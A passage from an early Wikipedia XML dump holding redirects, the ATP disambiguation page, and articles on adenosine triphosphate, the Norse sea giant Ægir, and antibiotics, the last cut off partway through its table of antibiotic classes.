[[nl:Acre (oppervlaktemaat)]]
[[ja:エーカー]]
[[pl:Akr]]
[[pt:Acre (unidade)]]
[[ru:Акр]]
[[sl:Aker]]
[[ta:ஏக்கர்]]
[[vi:Mẫu Anh]]
[[uk:Акр]]
[[zh:英亩]]</text>
    </revision>
  </page>
  <page>
    <title>Acre, Palestine</title>
    <id>1798</id>
    <revision>
      <id>29401637</id>
      <timestamp>2005-11-27T19:09:11Z</timestamp>
      <contributor>
        <username>Gilgamesh</username>
        <id>47947</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Acre, Israel]]</text>
    </revision>
  </page>
  <page>
    <title>ATP</title>
    <id>1799</id>
    <revision>
      <id>40708635</id>
      <timestamp>2006-02-22T13:34:59Z</timestamp>
      <contributor>
        <username>Ravn</username>
        <id>47881</id>
      </contributor>
      <comment>mv tennis association in category &quot;usually&quot;</comment>
      <text xml:space="preserve">'''ATP''' usually refers to:
*[[Adenosine triphosphate]], the universal energy currency of all living organisms ([[biochemistry]])
*[[Association of Tennis Professionals]], professional men's tennis association


'''ATP''' may also refer to:

;Companies:

*[[Alberta Theatre Projects]], a major [[Canada|Canadian]] theatre company.
*[[Associated Talking Pictures]], a British film company which later became [[Ealing Studios]]
*[[BAe ATP]], the ''British Aerospace ATP''

;Organizations
*[[Academic Talent Program]]
*[[Association of Test Publishers]]

;Technologies
*[[AppleTalk|AppleTalk Transaction Protocol]]
*[[Automated theorem proving]]
*[[Automatic train protection]]
*[[Anti-Tachycardia Pacing]] (see [[Implantable cardioverter-defibrillator]])
*[[Asynchronous Transfer Protocol]] (telecommunications)

;Other
*[[Airline Transport Pilot License]]
*[[Australian Technology Park]]
*[[All Tomorrow's Parties (music festival)|All Tomorrow's Parties]], a music festival.
**''All Tomorrow's Parties'', A song by the [[Velvet Underground]], released in 1967 on the album ''The Velvet Underground and Nico''
**''All Tomorrow's Parties'', A novel in the [[Bridge trilogy]] by [[William Gibson (novelist)|William Gibson]]

*[[Accepted Test Plan]]
*[[Addressee To Pay]]
*[[Adult Treatment Panel]], guidelines for patients with high cholesterol
*[[Allmänna tilläggspensionen]], a [[supplementary]] (income-related) pension in [[Sweden]].
*[[Arbejdsmarkedets Tillægspension]], a [[supplementary]] (income-related) pension in [[Denmark]]
*[[Available To Promise]]

{{TLAdisambig}}

[[cs:ATP (rozcestník)]]
[[da:ATP]]
[[de:ATP]]
[[es:ATP]]
[[fr:ATP]]
[[ko:ATP]]
[[it:ATP]]
[[lb:ATP]]
[[nl:ATP]]
[[pt:ATP (desambiguação)]]
[[fi:ATP]]
[[sv:ATP]]
[[zh:ATP]]</text>
    </revision>
  </page>
  <page>
    <title>Adenosine triphosphate</title>
    <id>1800</id>
    <revision>
      <id>41811677</id>
      <timestamp>2006-03-01T22:28:44Z</timestamp>
      <contributor>
        <ip>64.81.70.227</ip>
      </contributor>
      <comment>Remove extra ] in chemical name (was introduced 21:29, 26 February 2006)</comment>
      <text xml:space="preserve">:''For other uses of the initials ATP, see [[ATP (disambiguation)]]''
&lt;div&gt;
&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
&lt;!-- Submit {{:subst:chembox_simple_organic}} to get this template or go to [[:Template:Chembox_simple_organic]]. --&gt;
{| align=&quot;right&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; style=&quot;margin: 0 0 0 0.5em; background: #FFFFFF; border-collapse: collapse; border-color: #C0C090; width: 320px;&quot;
! {{chembox header}}| '''Adenosine 5'-triphosphate''' 
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:ATP_chemical_structure.png|320px|Chemical structure of ATP]]
|-
| [[IUPAC nomenclature|Chemical name&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;]]
| [[[5-(6-aminopurin-9-yl)-3,4-dihydroxy-oxolan-2-yl]&lt;br/&gt;methoxy-hydroxy-phosphoryl]&lt;br/&gt;oxy-hydroxy-phosphoryl] oxyphosphonic acid
|-
| Abbreviations
| '''ATP&lt;br/&gt;'''
|-
| [[Chemical formula|Chemical&amp;nbsp;formula]]
| C&lt;sub&gt;10&lt;/sub&gt;H&lt;sub&gt;16&lt;/sub&gt;N&lt;sub&gt;5&lt;/sub&gt;O&lt;sub&gt;13&lt;/sub&gt;P&lt;sub&gt;3&lt;/sub&gt;
|-
| [[Molecular mass]]
| 507.181 g mol&lt;sup&gt;-1&lt;/sup&gt;
|-
| [[Melting point]]
| ? °C
|-
| [[Density]]
| ? g/cm&lt;sup&gt;3&lt;/sup&gt;
|-
| [[Acid dissociation constant|p''K''&lt;sub&gt;a&lt;/sub&gt;]]
| ?
|-
| [[CAS registry number|CAS number]]
| 56-65-5
|-
{{EINECS Row|200-283-2}}
|-
{{PubChem Row|5957}}
|-
|}
&lt;/div&gt;

&lt;!-- TEXT --&gt;
'''Adenosine 5'-triphosphate''' ('''ATP''') is a multifunctional [[nucleotide]] primarily known in [[biochemistry]] as the &quot;[[molecule|molecular]] currency&quot; of intracellular [[energy]] transfer. In this role ATP transports chemical energy within [[cell (biology)|cell]]s. It is produced as an energy source during the processes of [[photosynthesis]] and [[cellular respiration]]. ATP is also one of four monomers required for the synthesis of [[ribonucleic acid]]s. Furthermore, in signal transduction pathways, ATP is used to provide the phosphate for protein-kinase reactions.

==Chemical properties==
ATP consists of [[adenosine]] and three [[phosphate]] groups (triphosphate). The phosphoryl groups, starting with that on [[adenosine monophosphate|AMP]], are referred to as the alpha (&amp;alpha;), beta (β), and gamma (&amp;gamma;) phosphates.  ATP is extremely rich in chemical energy, in particular between the second and third phosphate groups.  The net change in energy of the decomposition of ATP into [[Adenosine diphosphate|ADP]] and an inorganic phosphate is -12 kCal / mole ''in vivo'' (inside of a living cell) and -7.3 kCal / mole ''in vitro'' (in laboratory conditions).  This massive release in energy makes the decomposition of ATP extremely [[exergonic]], and hence useful as a means for chemically storing energy.

==Synthesis==
[[Image:Atp_space_filling_ray_trace.jpg|200px|thumb|Space filling image of ATP]]
ATP can be produced by various cellular processes: Under aerobic conditions, the majority of the synthesis occurs in [[mitochondria]] during [[oxidative phosphorylation]] and is catalyzed by [[ATP synthase]] and, to a lesser degree, under anaerobic conditions by [[fermentation]]. 

The main fuels for ATP synthesis are [[glucose]] and [[triglyceride]]s. The fuels that result from the breakdown of triglycerides are [[glycerol]] and [[fatty acid]]s.

First, glucose and glycerol are metabolised to [[pyruvate]] in the [[cytosol]] using the [[glycolysis|glycolyitic]] pathway.  This generates some ATP through [[substrate-level phosphorylation|substrate phosphorylation]] catalyzed by two enzymes: [[Phosphoglycerate kinase|PGK]] and [[Pyruvate kinase]]. Pyruvate is then oxidised further in the [[mitochondrion]].

In the mitochondrion, pyruvate is oxidised by [[pyruvate dehydrogenase]] to [[acetyl-CoA]], which is fully oxidised to carbon dioxide by the [[Krebs cycle]]. Fatty acids are also broken down to acetyl CoA by [[beta-oxidation]] and metabolised by the Krebs cycle. Every turn of the Krebs cycle produces an ATP equivalent (GTP) through [[substrate-level phosphorylation|substrate phosphorylation]] catalyzed by [[Succinyl-CoA synthetase]] as well as reducing power as NADH. The electrons from NADH are used by the [[electron transport chain]] to generate a large amount of ATP by [[oxidative phosphorylation]] coupled with ATP synthase.

The whole process of oxidising glucose to carbon dioxide is known as [[cellular respiration]] and is more than 40% efficient at transfering the chemical energy in glucose to the more useful form of ATP.

ATP is also synthesized through several so-called &quot;replenishment&quot; reactions catalyzed by the enzyme families of NDKs ([[nucleoside diphosphate kinase]]s), which use other nucleoside triphosphates as a high-energy phosphate donor, and the ATP:guanido-phosphotransferase family, which uses [[creatine]].

::[[adenosine diphosphate|ADP]] + [[guanosine triphosphate|GTP]] &lt;math&gt;\to&lt;/math&gt; ATP + [[guanosine diphosphate|GDP]]

In plants, ATP is synthesized in [[chloroplast]]s during the light reactions of [[photosynthesis]]. Some of this ATP is then used to power the [[Calvin cycle]], which synthesizes [[triose]] sugars.

If a [[clot]] causes a decrease in [[oxygen]] delivery to the [[cell]], the amount of '''ATP''' produced in the [[mitochondria]] will decrease.

==Function==
ATP energy is released when [[hydrolysis]] of the [[high energy phosphate|phosphate-phosphate]] bonds is carried out. This energy can be used by a variety of [[enzyme]]s, [[motor protein]]s, and [[transport protein]]s to carry out the work of the cell. Also, the hydrolysis yields free inorganic [[phosphate|P&lt;sub&gt;i&lt;/sub&gt;]] and [[adenosine diphosphate|ADP]], which can be broken down further to another P&lt;sub&gt;i&lt;/sub&gt; and [[adenosine monophosphate|AMP]]. ATP can also be broken down to AMP directly, with the formation of [[pyrophosphate|PP&lt;sub&gt;i&lt;/sub&gt;]]. This last reaction has the advantage of being an effectively irreversible process in [[aqueous]] [[solution]].

==ATP in the human body==
The total quantity of ATP in the human body is about 0.1 [[Mole (unit)|mole]]. The energy used by human cells requires the [[hydrolysis]] of 200 to 300 moles of ATP daily. This means that each ATP molecule is recycled 2000 to 3000 times during a single day. ATP cannot be stored, hence its consumption must closely follow its synthesis. On a per-hour basis, 1 kilogram of ATP is created, processed and then recycled in the body.

==Other uses==
There is talk of using ATP as a [[power (physics)|power]] source for [[nanotechnology]] and implants. [[Artificial pacemaker]]s could become independent of [[battery (electricity)|batteries]]. ATP is also present as a neurotransmitter independent from its energy-containing function. Receptors that utilise ATP as their [[ligand]] are known as purinoceptors.

== See also ==
* [[Adenosine diphosphate]] (ADP)
* [[Adenosine monophosphate]] (AMP)
* [[Cyclic adenosine monophosphate]] (cAMP)
* [[ATPases]]
* [[ATP hydrolysis]]
* [[Citric acid cycle]] (also called the Krebs cycle or TCA cycle)
* [[Phosphagen]]
* [[ATP thermochemistry]]
* [[Nucleotide exchange factor]]

==External links==
* [http://www.zytologie-online.net/atp.php ATP and Cell Biology (Ger)]
* [http://www.emc.maricopa.edu/faculty/farabee/BIOBK/BioBookATP.html ATP and biological energy]

{{Nucleic acids}}

[[Category:Cellular respiration]]
[[Category:Exercise physiology]]
[[Category:Nucleotides]]
[[Category:Organic compounds]]
[[Category:Organophosphates]]
[[Category:Phosphates]]

[[ar:أدينوزين ثلاثي الفوسفات]]
[[cs:Adenozin trifosfát]]
[[da:ATP (kemi)]]
[[de:Adenosintriphosphat]]
[[es:Adenosín trifosfato]]
[[fi:Adenosiinitrifosfaatti]]
[[fr:Adénosine triphosphate]]
[[he:ATP]]
[[id:ATP]]
[[is:Adenósínþrífosfat]]
[[ja:アデノシン三リン酸]]
[[ko:아데노신 삼인산]]
[[lb:Adenosintriphosphat]]
[[lt:ATP]]
[[nl:Adenosinetrifosfaat]]
[[pl:ATP]]
[[pt:Adenosina tri-fosfato]]
[[ru:Аденозинтрифосфорная кислота]]
[[sl:Adenozintrifosfat]]
[[sr:Аденозин трифосфат]]
[[su:Adénosin trifosfat]]
[[sv:Adenosintrifosfat]]
[[zh:三磷酸腺苷]]</text>
    </revision>
  </page>
  <page>
    <title>Abbasids</title>
    <id>1801</id>
    <revision>
      <id>15900265</id>
      <timestamp>2002-04-20T22:56:04Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*#redirect [[Abbasid]]</comment>
      <text xml:space="preserve">#redirect [[Abbasid]]</text>
    </revision>
  </page>
  <page>
    <title>Ægir</title>
    <id>1802</id>
    <revision>
      <id>41505652</id>
      <timestamp>2006-02-27T20:46:12Z</timestamp>
      <contributor>
        <username>Nebiros</username>
        <id>114866</id>
      </contributor>
      <comment>Reverted vandalism to version 15 February 2006 by ZwoBot</comment>
      <text xml:space="preserve">:''This article is about a mythological figure. For the software, see [[Aegir (software)]]; for the [[tidal bore]] on the English River Trent see [[River Trent]].''

'''Ægir''' is a [[jotun|giant]] and a king of the sea in [[Norse mythology]]. He seems to be a personification of the power of the [[ocean]]. He was also known for throwing massive parties for the gods.

In [[Snorri Sturluson]]'s [[Skáldskaparmál]] Ægir is identified with Gymir and Hlér who lived on [[Hlesey|Hlésey]]. Gymir, it may be noticed, is the name of the giant father of the beautiful [[Gerd|Gerðr]] wooed by [[Freyr]]. Another link between the [[Æsir]] and the sea giants is found in [[Hymir]], who is said in [[Hymiskviða]] to be father of [[Týr]]. 

Ægir is said to have had [[Daughters of Ægir|nine daughters]] with his wife, [[Rán]]. His daughters were called the billow maidens. They were named Bára, Blóðughadda, Bylgja, Dúfa, Hefring, Himinglæva, Hrönn, Kólga, and Unnr. The names of each reflect different types of waves of the sea.

Ægir is son of [[Fornjót]]r and brother of Logi (fire, flame) and Kári (wind). He is also called Hlér and Gymir. In the [[Lokasenna]], he has a festival for the gods, where he provides the ale brewed in an enormous pot provided by [[Thor]]. The story of Thor getting the pot for the brewing is told in the [[Hymiskviða]].

Ægir had two servants, Fimafengr (killed by Loki) and Eldir.

==Familiar forms==

Ægir's name is sometimes [[Old Norse orthography|anglicized]] as &quot;Aegir&quot; or &quot;Aeger&quot;. The common Swedish form is Ägir.

{{NorseMythology}}

[[Category:Norse giants]]
[[Category:Sea and river gods]]

[[da:Ægir]]
[[de:Ägir]]
[[el:Εγκίρ]]
[[es:Ægir]]
[[eo:Ægir]]
[[fr:Ægir]]
[[he:אייגיר]]
[[ms:Aegir]]
[[nl:Aegir]]
[[ja:エーギル]]
[[no:Æge]]
[[pt:Aegir]]
[[ru:Эгир]]
[[sv:Ägir]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Schweizer</title>
    <id>1804</id>
    <revision>
      <id>15900268</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Albert Schweitzer]]
</text>
    </revision>
  </page>
  <page>
    <title>Antibiotic</title>
    <id>1805</id>
    <revision>
      <id>42161642</id>
      <timestamp>2006-03-04T05:45:20Z</timestamp>
      <contributor>
        <username>GreatWhiteNortherner</username>
        <id>35888</id>
      </contributor>
      <minor />
      <comment>spelling, standardize on UK English, delete duplicated word</comment>
      <text xml:space="preserve">An '''antibiotic''' is a [[Medication|drug]] that kills or slows the growth of [[bacterium|bacteria]]. Antibiotics are one class of [[antimicrobial]]s, a larger group which also includes anti-viral, anti-fungal, and anti-parasitic drugs.  They are relatively harmless to the host, and therefore can be used to [[healthcare treatment|treat]] [[infection]]s. The term, coined by [[Selman Waksman]], originally described only those formulations derived from living organisms, in contradistinction to &quot;chemotherapeutic agents&quot;, which were purely synthetic. Nowadays the term &quot;antibiotic&quot; is also applied to [[Chemical synthesis|synthetic]] antimicrobials, such as the [[sulfonamide]]s. Antibiotics are small [[molecule]]s with a [[molecular weight]] less than 2000. They are not [[enzyme]]s.
Some antibiotics are made from mould.

Unlike previous treatments for infections, which included poisons such as [[strychnine]] and [[arsenic]], antibiotics were labelled &quot;magic bullets&quot;: [[medication|drugs]] which targeted disease without harming the host. Conventional antibiotics are not effective in [[virus|viral]], [[fungal]] and other nonbacterial infections, and individual antibiotics vary widely in their effectiveness on various types of bacteria. Antibiotics can be categorised based on their target specificity: 'narrow-spectrum' antibiotics target particular types of bacteria, such as [[Gram-negative]] or [[Gram-positive]] bacteria, while 'wide-spectrum' antibiotics affect a larger range of bacteria.

The effectiveness of individual antibiotics varies with the location of the infection, the ability of the antibiotic to reach the site of infection, and the ability of the bacteria to resist or inactivate the antibiotic. Some antibiotics actually kill the bacteria (bactericidal), whereas others merely prevent the bacteria from multiplying (bacteriostatic) so that the host's immune  system can overcome them.

Oral antibiotics are the simplest approach when effective, with intravenous antibiotics reserved for more serious cases. Antibiotics may sometimes be administered topically, as with eyedrops or ointments.

Antibiotics can also be classified by the organisms against which they are effective, and by the type of infection in which they are useful, which depends on the sensitivities of the organisms that most commonly cause the infection and the concentration of antibiotic obtainable in the affected tissue.

== History ==
:''See also: [[Timeline of antibiotics]]''

Many ancient cultures, including the [[Ancient Greece|ancient Greeks]] and [[Ancient China|ancient Chinese]], already used [[mould|moulds]] and other plants to treat [[infections|infection]]. This worked because some moulds produce antibiotic substances. However, they couldn't distinguish or distil the active component in the moulds. 

Modern research on antibiotics began with the discovery of [[Penicillin]] in [[1928]] by [[Alexander Fleming]].

== Classes of antibiotics ==
{| width=&quot;100%&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; frame=&quot;none&quot; rules=&quot;none&quot; border=&quot;0&quot;
|+'''Antibiotics{{Ref|antibiotics-classes-table}}'''

|-
!style=&quot;text-align:left; background:aqua&quot; | Class !!style=&quot;background:silver;&quot; | Generic&amp;nbsp;Name !!Brand&amp;nbsp;Names !!style=&quot;background:silver&quot; | Common&amp;nbsp;Uses !!style=&quot;text-align:left&quot; | Side&amp;nbsp;Effects
|-
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Aminoglycosides]]
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Amikacin]] || ||rowspan=&quot;7&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | Infections caused by [[Gram-negative bacteria]], such as [[Escherichia coli]] and [[Klebsiella]] || rowspan=&quot;7&quot; style=&quot;text-align:left; vertical-align:top;&quot; | Hearing loss&lt;br /&gt;[[Vertigo (medical)|Vertigo]]&lt;br /&gt;Kidney damage
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Gentamicin]]
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Kanamycin]]
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Neomycin]]
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Netilmicin]]
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Streptomycin]]
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Tobramycin]] 
|-
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Carbacephem]]
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Loracarbef]] || || rowspan=&quot;1&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; |  || rowspan=&quot;1&quot; style=&quot;text-align:left; vertical-align:top;&quot; | 
|-
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Carbapenems]]
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Ertapenem]] || || rowspan=&quot;3&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | || rowspan=&quot;3&quot; style=&quot;text-align:left; vertical-align:top;&quot; | 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Imipenem]]/[[Cilastatin]]
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Meropenem]] 
|-
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Cephalosporins]] ([[Cephalosporins#First Generation Cephalosporins|First generation]])
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefadroxil]] || || rowspan=&quot;3&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | || rowspan=&quot;3&quot; style=&quot;text-align:left; vertical-align:top;&quot; | Gastrointestinal upset and diarrhoea&lt;br /&gt;Nausea (if alcohol taken concurrently)&lt;br /&gt;Allergic reactions
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefazolin]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cephalexin]] 
|-
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Cephalosporins]] ([[Cephalosporins#Second Generation Cephems|Second generation]])
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefaclor]] || || rowspan=&quot;5&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | || rowspan=&quot;5&quot; style=&quot;text-align:left; vertical-align:top;&quot; | Gastrointestinal upset and diarrhoea&lt;br /&gt;Nausea (if alcohol taken concurrently)&lt;br /&gt;Allergic reactions
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefamandole]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefoxitin]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefprozil]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefuroxime]] 
|-
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Cephalosporins]] ([[Cephalosporins#Third Generation Cephalosporins|Third generation]])

|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefixime]] || || rowspan=&quot;10&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | || rowspan=&quot;10&quot; style=&quot;text-align:left; vertical-align:top;&quot; | Gastrointestinal upset and diarrhoea&lt;br /&gt;Nausea (if alcohol taken concurrently)&lt;br /&gt;Allergic reactions
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefdinir]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefditoren]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefoperazone]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefotaxime]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefpodoxime]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Ceftazidime]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Ceftibuten]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Ceftizoxime]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Ceftriaxone]] 
|-
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Cephalosporins]] ([[Cephalosporins#Fourth Generation Cephalosporins|Fourth generation]])

|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Cefepime]] || || rowspan=&quot;1&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | || rowspan=&quot;1&quot; style=&quot;text-align:left; vertical-align:top;&quot; | Gastrointestinal upset and diarrhoea&lt;br /&gt;Nausea (if alcohol taken concurrently)&lt;br /&gt;Allergic reactions
|-
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Glycopeptide antibiotics|Glycopeptides]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Teicoplanin]] || || rowspan=&quot;2&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | || rowspan=&quot;2&quot; style=&quot;text-align:left; vertical-align:top;&quot; | 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Vancomycin]] 
|-
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Macrolides]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Azithromycin]] || [http://www.pfizer.com/pfizer/do/medicines/mn_zithromax.jsp Zithromax&amp;reg;]&amp;nbsp;([[Pfizer]])&lt;br /&gt;[http://www.sumamed.com.hr/disclaim.htm Sumamed&amp;reg;]&amp;nbsp;([[Pliva]]) || rowspan=&quot;5&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | [[Streptococcal infection]]s, [[syphilis]], [[respiratory infection]]s, [[mycoplasmal infection]]s, [[Lyme disease]]  || rowspan=&quot;5&quot; style=&quot;text-align:left; vertical-align:top;&quot; | Nausea, vomiting, and diarrhoea (especially at higher doses)&lt;br /&gt;Jaundice 
|- 
| || style=&quot;text-align:left; background:silver;&quot; | [[Clarithromycin]]  
|- 
| || style=&quot;text-align:left; background:silver;&quot; | [[Dirithromycin]]  
|- 
| || style=&quot;text-align:left; background:silver;&quot; | [[Erythromycin]]  
|- 
| || style=&quot;text-align:left; background:silver;&quot; | [[Troleandomycin]]  
|- 
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Monobactam]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Aztreonam]] || || rowspan=&quot;1&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | || rowspan=&quot;1&quot; style=&quot;text-align:left; vertical-align:top;&quot; | 
|- 
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Penicillins]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Amoxicillin]]  || style=&quot;text-align:left&quot; | [http://cipla.com/admin.php?mode=prod&amp;action=disp&amp;id=196 Novamox&amp;trade;]&amp;nbsp;([[Cipla]])|| rowspan=&quot;12&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; |  Wide range of infections; penicillin used for [[streptococcal infection]]s, [[syphilis]], and [[Lyme disease]]  || rowspan=&quot;12&quot; style=&quot;text-align:left; vertical-align:top;&quot; | Gastrointestinal upset and diarrhoea&lt;br /&gt;Allergy with serious [[anaphylactic reaction]]s&lt;br /&gt;Brain and kidney damage (rare) 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Ampicillin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Azlocillin]]
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Carbenicillin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Cloxacillin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Dicloxacillin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Flucloxacillin]]  
|- 
| || style=&quot;text-align:left; background:silver;&quot; | [[Mezlocillin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Nafcillin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Penicillin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Piperacillin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Ticarcillin]]  
|-  
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Polypeptide antibiotics|Polypeptides]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Bacitracin]]  || || rowspan=&quot;3&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | Eye, ear or bladder infections; usually applied directly to the eye or inhaled into the lungs; rarely given by injection|| rowspan=&quot;3&quot; style=&quot;text-align:left; vertical-align:top;&quot; | Kidney and nerve damage (when given by injection) 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Colistin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Polymyxin B]]  
|-  

!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Quinolones]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Ciprofloxacin]]  || style=&quot;text-align:left&quot; | [http://cipla.com/admin.php?mode=prod&amp;action=disp&amp;id=161 Ciplox&amp;trade;]&amp;nbsp;([[Cipla]])|| rowspan=&quot;9&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | Urinary tract infections, [[bacterial postatitis]], [[bacterial diarrhoea]], [[gonorrhea]]|| rowspan=&quot;9&quot; style=&quot;text-align:left; vertical-align:top;&quot; | Nausea (rare) 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Enoxacin]]  
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Gatifloxacin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Levofloxacin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Lomefloxacin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Moxifloxacin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Norfloxacin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Ofloxacin]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Trovafloxacin]]  

|-  
!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Sulfonamides]]
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Mafenide]]  || || rowspan=&quot;9&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | Urinary tract infections (except sulfacetamide and mafenide); mafenide is used topically for burns|| rowspan=&quot;9&quot; style=&quot;text-align:left; vertical-align:top;&quot; | Nausea, vomiting, and diarrhoea&lt;br /&gt;[[Allergy]] (including skin rashes)&lt;br /&gt;Crystals in urine&lt;br /&gt;Kidney failure&lt;br /&gt;Decrease in [[white blood cell]] count&lt;br /&gt;Sensitivity to sunlight
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Prontosil]] (archaic)  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Sulfacetamide]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Sulfamethizole]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Sulfanilimide]] (archaic)  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Sulfasalazine]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Sulfisoxazole]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Trimethoprim]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Trimethoprim]]-[[Sulfamethoxazole]] ([[Co-trimoxazole]]) ([[TMP-SMX]]) 
|-  

!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| [[Tetracyclines]] 
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Demeclocycline]]  || || rowspan=&quot;5&quot; style=&quot;text-align:left; vertical-align:top; background:silver;&quot; | [[Syphilis]], [[chlamydial infection]]s, [[Lyme disease]], [[mycoplasmal infection]]s, [[rickettsial infection]]s|| rowspan=&quot;5&quot; style=&quot;text-align:left; vertical-align:top;&quot; | Gastroitestinal upset&lt;br /&gt;Sensitivity to sunlight&lt;br /&gt;Staining of teeth&lt;br /&gt;Potential toxicity to mother and foetus during pregnancy
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Doxycycline]]  
|-
| || style=&quot;text-align:left; background:silver;&quot; | [[Minocycline]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Oxytetracycline]]  
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Tetracycline]]  

|-  
